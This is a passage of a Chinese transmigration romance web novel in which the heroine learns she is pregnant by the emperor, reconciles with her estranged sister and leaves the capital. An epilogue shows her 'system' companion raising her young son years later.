她思来想去,还是选择将想法和盘托出,与其让乌时晏去猜,不如表明自己的意思。 但看乌时晏不动声色握紧的拳,戚妤觉得可能没那么容易。 可无论如何她都是要走的。 离开裴府后任务并未显示完成,若离开京城还不行,戚妤才会考虑死遁。 出乎意料的,乌时晏低声道了声:“好。” 诶? 戚妤惊讶地看向他。 “阿妤,过来,朕想和你说话。” 戚妤上前,见乌时晏张开手臂,便如飞鸟般扑进了他怀里。 “对不起。”乌时晏诚挚道,在戚妤来之前,他还在想,也许可以用赵婉仪与赵氏一族的性命将戚妤困在他身边。 但见戚妤没有被仇恨浸染的眼眸,瞬间勾起了他浓浓的愧疚,这时,戚妤无论说什么,他都会应下。 就算是想离开京城…… 乌时晏低声诉说着:“朕不知道当年顾府的事会波及你,会让朕这样追悔莫及,煎熬度日,虽然现在说这个已经为时已晚,但还是想说一句对不起。” “是我让你们姐妹分离这么多年,让你无父母庇佑以至于只能在乡野长大,阿妤,对不起。” 他声音越来越低,好在戚妤贴得近,一字一句全部收入耳中。 戚妤想起宫中的传闻,她与赵婉仪是有血缘的亲姊妹。 听乌时晏的意思,她与赵婉仪的身世应与顾府有关,她们与乌时晏有血海深仇。 再想到赵婉仪与裴谨奇特的关系,赵婉仪恐怕对此一清二楚,在京城这几年也是在布局。 那么赵婉仪要入宫的目的也很明显了。 她要弑君。 戚妤沉默了一瞬,说实话,她心中对这些事惊不起任何波澜。 “陛下受伤了没有?”戚妤摸着乌时晏身上。 手探到胸口的时候,乌时晏忽然抽气。 戚妤拉乌时晏到一旁的软榻,查看他胸口的伤:“陛下不要停,继续说。” 乌时晏将自己想了几百遍的说辞说出口:“如果阿妤真要报复朕,那就让你的血脉来继承皇位,这是对皇室最好的报复。” 戚妤看清乌时晏胸前的伤口,轻嘶了一声,伤口不宽,但却很深,又在心脉附近,运气差点,今日乌时晏能不能站在这里,还是两说。 好在乌时晏的运气一向很好。 戚妤皱眉:“陛下什么意思?” 乌时晏知道瞒不了多久,索性让他来说:“阿妤,你怀孕了。” 戚妤:!!! 她不可置信地看向乌时晏:“什么时候的事?” 她不是女配吗?最开始睡了乌时晏,戚妤还有点担心,但好在迟迟不孕,她便放下了心来。 比起乌时晏,她更担心裴谨,男二女二什么的,更像是天生一对。 怎么偏偏在这种时候。 戚妤算了下这几天推迟的月信,便大致猜出是什么时候怀的。 乌时晏:“已经一个月了。” “朕想这件事,裴谨也是知道的,他会医术,把脉不在话下。” 戚妤顺着乌时晏的话想到了裴谨的异常,所以那晚,裴谨便知道了? 怪不得态度有些微变化,更加珍重了。 但裴谨为何不告诉她? 乌时晏又道:“他不说,许是打着想把这个孩子变成他的孩子想法。” 差不足一个月的胎,外人很难分辨出来。 在乌时晏的目光下,戚妤红了脸。 如果再有一个月,裴谨说她怀孕,她对这个是谁的还真拿不定主意,若裴谨笃定是他的,她也会相信。 乌时晏气闷,裴谨这个畜生。 戚妤想,裴谨是挺混蛋的。 但孩子只要知道母亲是谁不就好了吗? 况且生不生,还是两说。 “阿妤,朕可以将赵婉仪与赵氏一族交给你定夺。” 只盼戚妤能留下这个孩子,但这个要求,乌时晏话到嘴边却终究未说出口。 戚妤眉头一蹙,乌时晏这么说定然是有要求。 不能和赵婉仪同仇敌忾,已经让她很抱歉了,若是连赵婉仪与被牵连的赵氏一族都护不住,到底于心不忍。 “赵婉仪如何了?”戚妤在心底默默唤了声姐姐。 这感觉很奇妙。 乌时晏原本已经让人将赵婉仪关押到牢中,但那日过后,他想到戚妤,若被戚妤知道他苛责了她姐姐,心结定会加深,于是他让人将赵婉仪看管在宫室内。 “朕岂敢动她,朕伤的最重。” 至于赵婉仪脖子上的伤,乌时晏是压根没想起来这回事。 乌时晏悲怆道:“她到底是你姐姐。” 杀不得,动不得。 纵然弑君是个大罪,但那天的事没多少人知道,他又早早封口,若回头想处置,再将此事翻出来即可。 这也就是为什么赵婉仪与赵氏一族可以看戚妤的态度。 戚妤若是保,乌时晏则可以大事化小,小事化了。 戚妤落下了视线,手也收了回来。 乌时晏拢好衣襟。 “我希望姐姐可以平平安安,至于赵氏,可以询问姐姐的态度,我对此并不了解。”戚妤拢眉,“可能有点没良心,但除了在意赵婉仪,我并没有不甘与恨意,而且我也没有以前的记忆。” 连记忆都没有,谈什么恨。 在意赵婉仪,也只是因为和她接触过,多一个姐姐,感觉好像还不错。 乌时晏的心怦怦直跳,他知道这是最好的结果,他不解:“但阿妤还是要走。” 戚妤坦然以对,眼睛是前所未有的明亮。 对啊对啊,她要回家了! 若不是肚子里还揣了个崽她都要畅快地笑起来了。 当然,无论留不留这个小崽子,都需要等她穿回去再决定,现代的医疗条件可不是这里能比的。 纵使戚妤没说话,乌时晏也知道了她非走不可的决心。 他转而道:“朕会一直在京城等你。” 戚妤最是心软了,他不相信她离京看遍了山河四季之景,路过京城会不来看他。 他只需要耐心等待一年两年三年,当然,他也会限制裴谨离京。 他不可能将戚妤拱手相让,让两人离京去做一对野鸳鸯,独留他一个人在京城。 “不必等……” 乌时晏拉住戚妤的手,打断道:“尽说胡话。” 乌时晏不允戚妤再说,戚妤欲言又止,手里被塞了碗肉粥。 茶楼里怎么会有粥? 但出来了这么长时间,戚妤确实有些饿了,在乌时晏沉甸甸的目光下坐下来将粥喝完。 乌时晏摸着戚妤的下巴:“都瘦了。” 这几日他不敢去见戚妤,林七带回来的消息也难解思念,自然先入为主地觉得戚妤消瘦了许多。 戚妤感受着脸颊上有弹性的软肉,很难相信乌时晏的话。 第63章 乌时晏原以为会剑拔弩张, 或者戚妤连见他一面都不愿,可没想到会这么平和。 那他这段时间的忐忑与放任,想想都亏的慌。 乌时晏一错不错地看着戚妤将粥喝完,油然而生出一股满足感。 他贪得无厌舔唇道:“阿妤, 朕伤口疼, 今日还没有上药。” 戚妤心想, 乌时晏的胸口连绷带都没缠上一圈, 显然是对这个伤口不在意, 现在却知道喊疼了。 “药呢?”可偏偏她却最见不得人卖惨。 反正不耽误多少时间, 今日尚早, 即便离京也来得及。 是的,纵使见了乌时晏,戚妤也是打定主意今天离开的。 若是裴谨上值回来,定要又纠缠一夜, 会对她说厨房又做了什么好吃的,让人拒绝都不得。 乌时晏没有将药带在身上, 让人进来去找田文善拿药。 他望着戚妤, 隐秘地笑了起来。 戚妤接过药, 将乌时晏带至一侧, 推他坐下,然后才解开他的衣襟, 俯身将药粉洒在他的伤口上,并用手指细致地涂抹均匀, 最后才将药瓶放下。 她放的小心, 药瓶并未与桌面发生磕碰,与此同时,室内的气氛也奇异地静谧起来。 戚妤盯着乌时晏的伤口旁兀自出神。 茶楼内即便燃着火炉, 也做不到温暖如春,乌时晏自己不惧寒,伤口旁的肌肤却也微凉。 乌时晏眸色略深,手指缠绕住戚妤垂至身前的秀发。 忽然,一抹暖意如期许般贴了过来。 是戚妤吻在了他伤口旁。 他就知道!乌时晏心中忽地涌起无限骄傲。 心爱之人喜欢他哪里他自然一清二楚。 伤口上尽是药粉,戚妤自如避开了,她一直都很喜欢乌时晏的身材,现在孤男寡女共处一室,乌时晏又让她上药,入目所及,她哪能把持的住。 再说了,她又不是什么稳重的人。 不要拿这些来考验自己人…… 情有可原,情有可原…… 许久过后,乌时晏将人揽进怀里,抱怨道:“这几天朕只能亲自上药了。” 虽是抱怨,但翘起的唇角却在诉说着不是那回事。 戚妤不光吻,她还磨了磨牙,用的力道也没轻没重的,自然不好让外人看到。 可即便摸到了明显的牙印,乌时晏却还是觉得轻,若是能重到留下印子就更好了。 戚妤挂在乌时晏的胳膊上,吐了吐舌头,明明是自己先有贼心的,可先败下阵来的也是她。 不继续时乌时晏充满遗憾的眼神现在还在戚妤脑海里晃,甚至连看一眼乌时晏那意犹未尽的样子都觉得羞的慌,现在听到乌时晏这么说,更是控制不住的脸上一红。 今日朝中无事,目送戚妤离开后,乌时晏仍坐在茶楼里,唇角的笑意已经悄然落下,人一走,他便透着浓浓的不开心。 若非愧疚太多,以他的性子,不择手段也要将人留下。 可现在,怎么就成这样了呢。 乌时晏卑劣地想,戚妤若不姓顾,该有多好? 戚妤出了茶楼,与菱角一同登上马车,马车往城门口的方向驶去。 在马蹄的哒哒声与街道的喧闹声中,忽然,戚妤听到了一个熟悉的声音。 她掀开车帘,恰好看见月鹭在催促车夫,月鹭双眼通红,头发也有些潦草,像是刚出远门回来,有急事回裴府禀报。 仔细想想,这几日戚妤确实没在裴府见过月鹭。 但裴府能做主的一个在宫里,一个还在官署。 想到这,戚妤让菱角将月鹭拦下。 月鹭熟悉菱角,即便只有几面之缘,也知道这人是姑娘的亲信,便觉得是姑娘在这里。 月鹭小跑着过来,泪水先盛满了眼眶,见到戚妤便哭道:“姑娘,老爷夫人逝世了!” “您将奴婢送回赵家,可奴婢刚到,便见满府挂上白布,阖府上下皆缟素,一问才知道是家主与夫人先后逝世,府上的人与姑娘不是一条心的,奴婢回去时,给您报丧的队伍才刚慢悠悠出发,不得已,奴婢只得尽快返京告诉姑娘这件事!” 月鹭几度哽咽,家主和夫人的逝世对她来说不亚于天崩地裂,姑娘没有靠山了,待赵氏其他叔叔上位,哪还会为姑娘打算,不算计姑娘就是好的了。 戚妤耳畔嗡鸣声不断。 即便赵婉仪只寥寥几句提过赵家,可赵氏夫妻在赵婉仪心中的分量绝对不低。 能冒着窝藏朝廷罪眷的风险养育赵婉仪,不敢想赵婉仪见不到赵氏父母最后一面会有多遗憾伤心。 戚妤已经有些感同身受了:“菱角,回茶楼。” 乌时晏没料到戚妤会回来,戚妤也庆幸乌时晏没有离开。 戚妤紧迫的心情稍稍松缓,但声音仍然干涩:“陛下,赵婉仪的父亲母亲去世了。” 她出声恳求:“能让姐姐回去见他们最后一面吗?” 乌时晏想说,赵婉仪这个人危险,她很可能之前与宁王世子有联络,放她出宫很不可控。 但见戚妤的模样,听到她唤赵婉仪为姐姐,便知道她的彷徨,于是果断道:“朕带你回宫见她。” 两人匆匆从茶楼出来,登上回宫的马车。 戚妤让菱角去找来了一个遮面的长巾,她系在脑后,旋即望向皇宫的方向。 她时刻谨记着,她现在穿的是赵婉仪的身份,若行事荒唐,有损的是赵婉仪的名声。 进出皇宫,自然在此列。 乌时晏见此却无比心疼,他是个聪明人,聪明人就容易多想。 虽然戚妤的心现在牵绊在赵婉仪身上,可他才是与她相处时间最长的人,于是便觉得,戚妤是为了防止他背上夺臣妻的骂名,这才遮掩面容进宫。 戚妤在时刻为他考虑…… 乌时晏难过道:“阿妤不必为朕委屈你自己。” 戚妤眼中茫然,乌时晏却是爱怜的恨不得将戚妤揉进怀里。 说实话,戚妤原本的计划里是没有去见赵婉仪这一项的,剧情太俗套,却压根不管她多出一个姐姐的复杂心情。 她的指骨握的发白,紧张的呼吸都有点乱了。 因而对乌时晏的话她是真没搞明白什么意思,但这不妨碍她应下。 戚妤递给乌时晏一个安抚的目光,开始悄悄调整呼吸。 茶楼离皇宫很近,只是在去赵婉仪的宫室又花费了些时间。 这个宫室四周都有巡逻的侍卫,有的侍卫还随身携带着弓箭,戚妤想到赵婉仪曾养过鸽子,还送过她一只,便觉出了乌时晏的意图。 不过好在这个地方纵然偏僻,却不简陋,该有的都有。 戚妤是在走廊上看见赵婉仪的,她脸色非常苍白,身若蒲柳,分外虚弱,但神情看着不算差。 戚妤顿了一下,赵婉仪听到动静看了过来,随即一怔。 四目相对,戚妤死死盯着赵婉仪,赵婉仪也不遑多让,近乎贪婪地看着戚妤。 戚妤提着裙摆快步上前,心情奇异,不过这个时候已经顾不得什么了,她连忙道:“赵家主和赵伯母逝世了。” 空气中死一般安静。 片刻后。 “意料之中。”即便这么说着,赵婉仪心中还是涌起了一股强压不下的哀意。 紧盯着赵婉仪的戚妤瞬间从她眼中察觉出来了,戚妤犹豫了一下,握住了赵婉仪的手,冰凉一片。 源源不断的暖意从戚妤的手上传过来,赵婉仪垂首道:“在南巡时我便找机会归了趟家,所以对父亲母亲的身体有大致了解,大夫说他们很难熬过这个冬。” 正因如此,她才这么决绝。 戚妤捏着赵婉仪的手,垂眼问她:“你想回一趟赵家吗?” 赵婉仪没有任何犹豫,在戚妤话音刚落便开口道:“我不想!” 不要戚妤这样为她打算! 她的事牵连到戚妤已经很让她自责了,现在更要为了让她离开而迫使戚妤反过身去求乌时晏,那是万万不可以的。 她很清楚戚妤若要帮她付出的代价绝对不会小。 戚妤想离开皇宫,赵婉仪知道,若没有她这个姐姐,戚妤大可以放心自在,而不是这样回头来找她。 可恨裴谨事先就知道戚妤是她妹妹,却迟迟不说。 若是能瞒一辈子,倒还好……戚妤不必受身份困顿,背上这些恨意,违背自己原本的想法。 赵婉仪知道戚妤跟自己不一样,她长于赵家,宁王世子很早就找过她,她接触的一些人一些事致使十年前惨烈的诛杀时刻萦绕在脑海里,让她夜不能寐,若不报仇,她根本无法归于平静。 而戚妤,流落在乡野,她需要应付温饱,让自己好好活着,幼年的记忆应是在一次次的坎坷中丢失了,不然不会对最初的试探中一无所觉。 所以将她妹妹搅进这些事本就很没有道理。 赵婉仪曾做过最坏的打算,好在戚妤平平安安出现在她面前了,而她要找到妹妹,也只是为了让妹妹一辈子衣食无忧,如今四人间乱成一团麻绳她也不会让戚妤去背负什么。 戚妤面露不解,赵婉仪对赵家主与赵夫人的感情是真,可拒绝却也分外果断。 她能分辨出,这都是出自赵婉仪的真心。 她拒绝无外乎考虑到了什么。 即便乌时晏在一旁,戚妤还是要说:“不必担心离不开。” 乌时晏与戚妤一同来后并未离去或是走远,赵婉仪知道她们说的话乌时晏句句听在耳中才会放心,因而也大方道:“我不担心阿妤的承诺,而是我知道自己离京不受看管让这位天子有多隐忧,才更能明白阿妤付出的代价有多大。” “不能因为我,而让阿妤受辖制。” 也许表现的不明显,但乌时晏却是个十分小心警惕的人,或许正因如此他才能从一次次刺杀中脱身,他从不轻视任何一个刺客。 历史上多少英雄,都败于无名小卒,乌时晏不觉得自己不会潦草收场。 赵婉仪是个隐患,若不能铲除,但也绝不能轻易放虎归山。 不过这些话说的却没错,乌时晏忍不住沉吟起来,若是赵婉仪离开可以让戚妤多在他身边一些时日…… 戚妤听出赵婉仪所言是发自肺腑,她有她的坚持,纵使是她也劝不动。 戚妤忍不住有些郁闷与失落。 赵婉仪观察到了,便道:“你替我去吧。” 戚妤讶然抬头,猝不及防撞进了赵婉仪温柔包容的眸中。 “他们也是你的姑父姑母,不必感到无措。” 另一方面,戚妤本就打算离京,她作为姐姐,自然要推一把才好。 只是她唯一担心的便是赵氏族叔凶悍,戚妤应付不来,可想到戚妤往日的聪颖,赵婉仪更多的是信任与放心。 戚妤犹豫着,可思来想去,竟然觉得这个法子是最好的。 她能顺利离开,赵婉仪又没什么挂念。 赵氏是北方豪族,她大可以去过赵氏后,在返程时离开。 届时山高路远,乌时晏与裴谨就算想找她也是大海捞针。 戚妤点头应下,赵婉仪露出了抹笑意:“阿姐还有些钱,都是留给你的,我们进去说。” 一旁的乌时晏止不住失落,目光尽数落在戚妤身上。 进了屋,戚妤才发现,屋内也是冷冷凄凄,她环顾一圈,发现室内居然连火炉都没有点燃,怪不得让人如坠冰窖。 赵婉仪身边没有宫人,自己又不会用火炉,更不可能开口去要什么东西,便在冬日有些难挨。 戚妤不赞同地看了赵婉仪一眼。 赵婉仪脸上窘迫起来,她一向把这些视为身外之物,又自那天知道戚妤是自己的妹妹,心里异常火热,对戚妤左思右想,又怎么会考虑自己住的怎样。 有至亲和没至亲的感觉还是不一样的。 赵婉仪心道,曾经她只能亲赖赵父赵母,现在就要多一个戚妤了。 戚妤心道,赵婉仪比自己还不靠谱。 对于想刺杀自己的人,乌时晏自然没有好吃好喝的供着,这个宫室简陋,却也可遮风挡雨。 戚妤有过野炊的经验,手把手教赵婉仪将火炉烧起来,并烧上热水,又将冬日的厚门帘挂上,查看过赵婉仪身上的厚衣有无破损。 自然而然是没有的,乌时晏犯不着于小事上苛责人。 室内慢慢热了起来,原本得过且过的生活气息瞬间变得积极向上。 戚妤让乌时晏止步外间,她则拉着赵婉仪进了内间。 戚妤脱下了衣裳,赵婉仪即便知道结果,见此心中还是不由一紧。 她伸手抚上戚妤的雪背,盯着那块胎记道:“上次我在山庄看过一次,却是没有见到这块胎记。” 戚妤想起了在山庄见到赵婉仪的那次,原来那次不是意外,紧接着,她蓦地想起前因后果,眼睛不受控制微微睁大,羞赧不已,声音低不可闻:“是因为我喝了一味药,身体过于康健,后来胎记才显出来的。” “可惜只有一株,你身体不好常去医馆,我已经让人去找了,只是还未有消息。” 她要离开,自然将一切都安排好了,除了在找到破厄花后一定要交到赵婉仪手上,也藏了些银子在一座宅子中。 说起来,当时她买了两座相邻的宅子,一座给了佩玖,一座自己留了下来。 若是有意外回到这里,戚妤可不想再像最初一样身无分文,只能跟采选美人的公公进宫。 赵婉仪眼中蕴出水雾,只有亲姊妹才会有好东西想着对方,更何况她们一母同胞,长相相仿,虽达不到心意相通,可却都在尽力照拂对方。 戚妤伸出手抹掉赵婉仪的眼泪,宽慰道:“……姐姐,你做的已经很好了,但我更希望你好好活着。” 虽然她夹在乌时晏与赵婉仪之间,但难办的却是他们。 赵婉仪遵从本心抱住了戚妤,能听到戚妤叫她一声姐姐真是太好了。 确切的说,她已经失败了,若非戚妤,她现在已经是死人了,心底的那股不甘时至今日已经不如从前强烈。 戚妤说悄悄话:“姐姐,不要担心,我不会让你在这里久住的。” 当着赵婉仪的面,她自然不会下乌时晏的脸,强行要求乌时晏放了赵婉仪。 但是私底下竭尽所能的求一求,应当有很大的缓转余地。 况且乌时晏说过,赵婉仪与赵氏由她做主,这说明,乌时晏是期待她开口。 若是只求平安,未免有些浪费了。 戚妤在心里辩驳,她绝不是看在赵婉仪给她的留下的万贯家财上,而是人间自有姐妹情。 这边赵婉仪已经以不说这个了为结束,转而介绍起她给戚妤留下的财产上。 谁能想到,京中最有名的点心铺,也是戚妤最喜欢吃的那家,竟然是赵婉仪经营的铺子。 为了刺杀皇帝,最首要的东西就是钱。 而赵婉仪便在这方面有所涉猎,不过她心心念念自己动手罢了。 戚妤艰难拒绝:“姐姐的东西理应是姐姐的。” 心痛,但她不说。 赵婉仪嗔了她一眼:“尽说胡话。” 及至戚妤与乌时晏离开,气氛都分外和谐。 人一走,宫室似也回到了往日的冷清,赵婉仪摸了摸衣领下的脖子,上面的痕迹犹在,不过即便厌恶乌时晏,她也不会拿这些去离间他与妹妹。 因为无论成功与否,戚妤都会陷入两难。 另一边,戚妤由乌时晏扶住,上了马车。 乌时晏:“我已经命人将车马准备好了,让他们京门外等待,朕现在送你过去。” 一是赵氏夫妻下葬等不得,二是戚妤再回裴府,少不得会碰上裴谨,若裴谨以去给岳父岳母奔丧为由一同跟着,谁都拦不得他。 所以还不如由他全权负责。 戚妤感激地看了乌时晏一眼。 马车行驶起来,戚妤琢磨着如何让乌时晏更网开一面,想着想着,目光不由落在了乌时晏唇上。 绝不是因为她觉得乌时晏此时的唇看着很好亲!而是有情人间的求情总绕不开脸红心跳这一部分。 戚妤是个俗人,而恰好,乌时晏也不遑多让。 第64章 戚妤笑吟吟道:“陛下处处为我着想, 我真不知道该怎样报答了。” 乌时晏握着戚妤的腰,仔细拿手丈量了着,她腰部宽了一些,虽然这完全是因为冬日衣厚的缘故, 可他却想到了她肚中孕育着他们的孩子。 一个只属于他们的孩子。 都有孩子了, 还是这样胡闹。 乌时晏在心里有些高兴地暗叹, 面上四平八稳:“明知故问。” 想亲就亲上来吧, 他能拒绝不成? 戚妤心道, 论稳谁能稳得过乌时晏? 明明都很急, 毕竟从皇宫到京门口, 是修的最宽最平稳的路,加上车夫车技娴熟,御用的马车再结实不过,他们到城门口, 只会快不会慢。 这么会儿功夫,她已经隐隐听到了不远处坊市的喧闹声。 时间短暂, 容不得他们耽误。 可乌时晏就是能不动声色, 明明他也很想亲不是吗? 戚妤悄悄磨了磨牙, 拉着乌时晏的衣袖, 忍不住先凑了过去。 偏这时,乌时晏还要来一句:“阿妤这么等不及了?” 戚妤对他有贪恋, 这实在是个好事、幸事。 虽乌时晏话中带着甜蜜,但戚妤还是别扭地生起了气, 心中怏怏地不服气, 正欲拉开距离。 她真看不惯乌时晏这副称心如意的样子。 然而,戚妤并未如愿撒开手,乌时晏早早地扣住了她的手腕, 手掌搭在她腰上,几乎是在察觉到她的企图的下一瞬,就将她抱坐了自己腿上,抱了个满怀。 戚妤以一个很舒服的平视看向乌时晏。 乌时晏闷笑起来:“是朕欢喜你,是朕等不及。” 说着,他就已经啄在了戚妤的唇角。 二人呼吸交融,没一会儿,气息便焦灼起来,马车内的气氛犹如干柴乍燃。 乌时晏眸色渐深,眼底仿佛有一簇火苗嚯地升起。 他捧住戚妤的脸,激烈地加深了这个吻。 戚妤不服输地开始较劲,眼眸黑亮亮的。 全身的劲儿都使在这上面的两人,鼻梁必不可免的碰到一起,鼻尖微冷的触感让戚妤凭生出一股甜意。 她眼睛弯了一下。 她就说乌时晏的唇很好吻! 乌时晏笑起来,短暂分开时他道:“阿妤是甜的。” 甜滋滋的,让人撂不开手。 戚妤脸庞红润,顾盼生辉,朱唇有了层光泽感,整个人美艳的不可方物。 这样的戚妤,乌时晏真想永远圈在怀里,不让任何人看了去。 戚妤赞同道:“陛下也不是苦的。” 两人对上视线,戚妤先红了脸。 乌时晏忍俊不禁:“时间还够再亲一次。” 亲一次后可以留出缓和的时间,让戚妤下马车时不至于让人察觉出异样。 戚妤仰起了脸,这便是同意的意思。 乌时晏轻柔地吻了上去,不同于方才的激烈,这次更细水长流,带着眷恋意味。 戚妤有些讶异,但乌时晏吻技不差,她很快从中得了滋味。 然而,时间还是短了些。 乌时晏克制着放开了戚妤,拿鼻梁蹭了蹭她的鼻尖。 戚妤缓了缓,就这么静静地与乌时晏相伴了一会儿。 马车已经到城门口,停了下来。 乌时晏递出了自己的帕子,戚妤揉进手中,依稀能嗅到属于乌时晏身上的熏香。 她拿帕子碰了碰唇,确保唇上没有水渍。 “陛下,你可以一步步放姐姐自由吗?”戚妤抬眸,眼中蒙了层别样的色彩,让人忍不住垂惜。 乌时晏刮了刮戚妤鼻子,翻来覆去承诺道:“朕从不食言,且之前说过的话全都出自朕本心,阿妤要赵婉仪活着,她非活不可,阿妤要她自由,朕也犯不着困着她。” “方才在宫内,阿妤若求朕,朕也必然会应下。” 戚妤眼中的情绪褪去,坦然极了:“在姐姐面前不说,是不想让陛下落了下乘。” 她理所应当道:“毕竟我与陛下最为亲密,怎么能在姐姐面前暴露陛下的短处?” 戚妤是真这么想的。 当然,她在裴谨面前也不会说,不然不就给了别人说乌时晏不好理由吗,长此以往,乌时晏的威信必然下降。 自然而然,戚妤也不会给乌时晏说裴谨的坏话,乌时晏若过分了,她反倒还会为裴谨反驳一下乌时晏。 只不过这样的机会不多。 端水对于她来说好像没那么难,戚妤默默想。 乌时晏抱住了戚妤,真不敢想,若是戚妤全身心放在他身上该有多幸福。 阿妤才不薄情,她只是很认真,很迟钝。 戚妤矮身下了马车,菱角出现在她身边。 菱角道:“夫人,奴婢已经将月鹭送回裴府安置好了,陛下安排了五辆马车,另有二十名侍卫。沿途的路都已熟悉,若是不出意外,三日便可到。” 时间一来一回的耽搁,其实他们怎么赶也赶不上赵家主与家主夫人下葬的时候,回去不过是吊唁一番。 戚妤点头:“办得很好。” 她想过骑马,骑马肯定比坐马车快,但她怀着身孕,最终也只能选马车。 戚妤没有回头看,她怕会忍不住一看再看,于是利索地登上了马车。 车队从京门口出发,一路北上。 一如最初坐马车入京时候那样,戚妤倚在一边,翻看起系统面板,不过现在,她是期待的。 一个已完成的戳印盖在唯一的任务上,戚妤愣了两秒才意识到什么。 任务完成了! 许是察觉到宿主的动作,一阵断断续续的电音响在戚妤的脑海,让她下意识地揉了揉耳朵。 “宿主你好,我是系统7579,因为将宿主带到这个世界就用干净了能量,以至于陷入睡眠模式,所以对宿主的反馈直到现在才开始受理。” “您稍等我来查看一番……呃……” 戚妤想起了自己在最初给系统的投诉,久违地找到了当初的那份心境,不过她一点都不心虚就是了。 若是系统不满投诉,那她就要和它好好唠一唠了。 当初将一点都没准备的她带到这个世界,现在她更是将任务圆满完成,怎么看都是她占理。 “关于宿主的投诉……深表歉意,因而主系统会给予宿主五千万元进行补偿……任务完成,系统将带宿主一同返回地球。” 又是一阵嘈杂的电流声,戚妤耳畔的声音倏地增大:“但是宿主,您没说您怀孕了啊!” 7579惊了,懵了,终于有了活人气儿,赶忙开始回看剧情。 不看不要紧,一看只想掐人中,这不对吧? 这就是不对! 宿主怎么能将男主男配甚至是女主都笑纳了呢? 当然,前两位与宿主是爱情,后者则是亲情。 宿主与女主确实为亲姊妹,这是原书中的暗线,不过直到最后都没被戳破,原书是没有结局的,女主和男主之间隔着血海深仇,女主仇视男主,男主更看重自己的命,很难he,而男配则是调节男女主关系的枢纽,人设正直私底下却有手段,因孤寡一生不近女色预计比男女主活的还长,总而言之,为了小世界的和平,他们需要给女主一个放下仇恨的理由。 但因为种种原因,唯一能勾起女主心底那份柔软的亲妹妹其实已经投胎转世了,那便是戚妤,所以它只能绑定戚妤来完成任务。 然而它错估了带人穿越所消耗的能量,匆匆发布下任务,没来得及留下只言片语就进入了休眠模式,后面更是直接进行了升级,因而耽误了快一年。 回望如今的剧情发展,不能说戚妤没完成任务,但与它预料中的这个世界的发展却相差了十万八千里。 戚妤微微蹙眉,再脑海里默默回道:“那也没说不能怀啊。” 7579:“……”统子它啊有点死机了。 戚妤的样子像是在出神,菱角却关注着周围的动静,行出了五里地,菱角眼尖的看到了裴大人的身影,一身鹤氅,尽显清俊,立在亭子外。 毫无疑问裴大人是在等什么人,且等了有一会儿了。 “夫人,要见裴大人一面吗?” 戚妤靠近车窗,忽略系统陡然嘈杂的电流声,当即道:“停车。” 7579不知道发生了什么,竟然让原书中游曳在男女主身边谁都不得罪的男配冒那么大的风险也要与戚妤在一起。 但却见到原本冷眉的裴谨发现戚妤从车上下来的那一刹那身上产生的巨大变化,犹如冰雪消融。 戚妤快步走到裴谨跟前,脱口而出:“你怎么来了?” 不过不等裴谨回答,戚妤便懊恼起来,事到如今,这些已经不重要了。 她认真交代道:“裴谨,你不要再记得我了,我也很久都不会再回来了。” 一直都在顺从戚妤的裴谨这次罕见没有应下。 不过想也是,裴谨低声道:“这个我做不了主。” 他可以绕一大圈只为将戚妤重新留到裴府,但忘掉什么的,他的记忆力不允许他这么做。 他也不想再装傻装失忆。 裴谨往戚妤手里塞了一个块暖玉,戚妤摸着玉的形状,心中有了些猜测,伸出手低头一看,果然见玉上刻着裴谨七成像的小像,应是他自己揽镜自照刻出来的。 戚妤的心脏漏了一拍。 裴谨:“与阿妤的柔软心肠相反,本官很自私,本官不愿你忘了我。” 戚妤抬头,愣愣地看着他。 裴谨格外耐心:“傻姑娘,应下来。” “好。”戚妤不知道自己是怎么吐出来这个字的,只知道为了掩饰慌乱她在裴谨左右脸颊各印了一个吻,这才背影略显稳重的离开。 目睹这一切的系统好似明白了什么,戚妤明明是打定主意要拉开距离,最后却稀里糊涂让裴谨又甜了一次。 怪不得他俩能成啊! 菱角不知道两人说了什么,因为裴大人走了两步,将戚妤挡的严严实实,她自也分辨不出二人在做什么。 不过光天化日之下,想做什么也难。 再说了,戚妤不是会放任自己吃亏的人,想到这,菱角不由放下心来。 系统7579已经经历了一轮头脑风暴,最终它告诉戚妤,它可以送戚妤回去,但腹中的孩子是这个世界的人,在其他世界,随着年龄的增大,只会多病多灾。 戚妤疑惑:“可是我在这个世界上就很顺遂,况且孩子是我生的,不应该随妈吗?” “但是宿主是在这个世界上怀的,腹中胎儿是这个世界承认的小生命,宿主顺遂,除了宿主自身运道的加持,与您上辈子是这个世界上的人息息相关。” 离正式要走还有很长的时间,戚妤不介意慢慢套系统的话,系统必然是有法子的。 她真心实意感到为难:“这个世界的生产条件远不如现代,不说没有产检,如果生产过程中遇到危险怎么办?” 系统没了声音,戚妤却并不着急,也有了些成算。《 》 【全文终】 第65章 时光如梭, 转眼便是五年。 北方的积雪还难以消融时,南方就已温暖如春,枝桠上的粉色桃花绽放,树下的小人已经在泥坑里滚了一圈。 一个十五六岁的少年在哼哧哼哧洗着沾满泥的衣裳, 见此惊恐的跑过来, 嫌弃地拎起小人, 哀嚎道:“哎呀!你又这样, 我上辈子真是欠你们母子二人的!” 肉乎乎的小人不顾脸上的泥巴畅快地笑起来, 四岁的男童五官极为优越, 如果戚妤在这, 定能认出这活脱脱是一个缩小版的乌时晏。 不过比起乌时晏,就少了几分贵气,多了些质朴的皮实。 7579心道,可不皮实吗, 它就没见过精力这么旺盛的人类幼崽,刚会爬时, 已经将这个坐落于山中的小院爬了个遍, 会跑时拉着它漫山遍野疯玩儿, 溜它跟溜风筝似的。 而到了戚妤面前, 就要多乖有多乖,见到娘, 拉着小被子就跑过去了,甜糯糯的表示:“要和娘睡!” 想到这, 7579就怄气的不行, 到底是谁天天在照顾这个崽子,结果这个小崽子就只记得戚妤。 戚元凌道:“娘每天都去山下当账房,那么辛苦, 就为了有报酬雇七叔叔照顾我,我当然要更爱娘了。” 娘回来,还教他识字,给他哼歌哄他睡。 七叔叔虽然一顿吃很少的饭也力大无穷精力无限——他只在去山下时见过其他孩童,比照七叔叔,他觉得他这个幼崽的运动量是合格的。 七叔叔很好,但娘在他心中是不一样的。 7579:“她哪是——”哪是去当账房,分明是回到戚妤原本的世界了! 戚元凌好奇问:“哪是什么?” 7579闭口不答,心里苦。 因为戚妤情况特殊,它特意向主系统打了报告,得到了通融。 戚妤可以自主往返两个世界,但不能让人知道,戚妤在现代将小元凌生下来后,就为小元凌在这个世界寻了一个安身之所。 戚妤记得桃花酿,也记得这里风景好,便敲定了南巡落脚的这个地方,不过离乌时晏的宅子很远就是了。 而戚妤最信任谁呢,当然是它7579啦! 于是它就担起了照顾幼崽的重任,让戚妤安心学业。 